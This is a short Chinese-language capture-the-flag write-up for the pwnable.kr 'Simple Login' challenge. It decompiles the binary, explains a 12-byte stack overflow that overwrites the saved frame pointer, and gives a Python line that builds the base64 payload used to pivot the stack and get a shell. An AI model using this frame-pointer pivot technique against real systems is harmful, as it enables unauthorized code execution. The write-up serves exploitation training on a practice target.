[Pwnable.kr] Simple Login
关于EIP控制的题目
F5的结果很简单,这里只贴一下main和auth两个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+18h] [ebp-28h]@1 __int16 v5; // [esp+1Eh] [ebp-22h]@1 unsigned int v6; // [esp+3Ch] [ebp-4h]@1 memset(&v5, 0, 0x1Eu); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); printf("Authenticate : "); _isoc99_scanf("%30s", &v5); memset(&input, 0, 0xCu); v4 = 0; v6 = Base64Decode(&v5, &v4); if ( v6 > 0xC ) { puts("Wrong Length"); } else { memcpy(&input, v4, v6); if ( auth(v6) == 1 ) correct(); } return 0; } _BOOL4 __cdecl auth(int a1) { char v2; // [esp+14h] [ebp-14h]@1 char *s2; // [esp+1Ch] [ebp-Ch]@1 int v4; // [esp+20h] [ebp-8h]@1 memcpy(&v4, &input, a1); s2 = (char *)calc_md5((int)&v2, 12); printf("hash : %s\n", s2); return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0; } |
可以看出input在被Base64Decode之后,又被放回了input,然后传入auth函数,auth函数调用memcpy将input中的内容放到v4(ebp-8)中,因为之前检查了input的长度为12,所以这里可以导致栈溢出。但是这里的问题在于:只能溢出12字节,而且溢出开始地址在ebp-8,恰好覆盖不到函数返回地址:
(如图,最多只能覆盖了s,s是存储上一个栈帧ebp的地方
其实在函数返回的时候需要执行两步操作:
第一步,还原栈帧:mov esp, ebp; pop ebp
第二步,还原eip:pop eip
如果我们将system地址放在ebp-4,input地址放在放在ebp+0的话,第一步时input地址将会被赋值给esp,ebp指向main函数的栈帧头;执行第二步时,因为esp这个时候指向input了,esp-=4,并赋值给eip,这样eip就获得了input+4中的内容——system地址
通过IDA可以看到system执行的地址和input的地址
1 2 |
print "ABCD\x84\x92\x04\x08\x40\xeb\x11\x08".encode('base64') QUJDRISSBAhA6xEI |
输入即可得到shell